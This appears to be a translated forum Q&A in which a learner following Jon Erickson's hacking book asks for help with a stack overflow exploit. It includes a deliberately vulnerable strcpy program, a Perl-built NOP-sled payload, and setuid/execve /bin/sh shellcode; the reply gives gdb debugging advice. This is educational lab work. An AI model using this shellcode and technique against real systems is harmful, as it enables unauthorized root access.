我正在尝试使用perl进行堆栈溢出(当然使用普通用户获取root权限(使用shellcode))。我正在和Jon Erickson的书学习黑客,如果你能帮我一点,我会很高兴的。 我输入这个命令:
./vuln `perl -e 'print "\x90"x202'``cat shellcode``perl -e 'print "\x70\xcc\x81\xbe"x70;'`
vuln
:
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
shellcode
:
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
我得到"分段错误"。我知道我需要填写每个ret地址,但无论我做什么,当我尝试粘贴超过67个ESP(堆栈指针)时,我会收到此错误。
答案 0 :(得分:0)
尝试在gdb下运行该程序,看看它崩溃的位置。在您的漏洞利用中合并cat file
时要特别注意的一点是,它可能附加一个新行\n
字节并导致您的shellcode不对齐。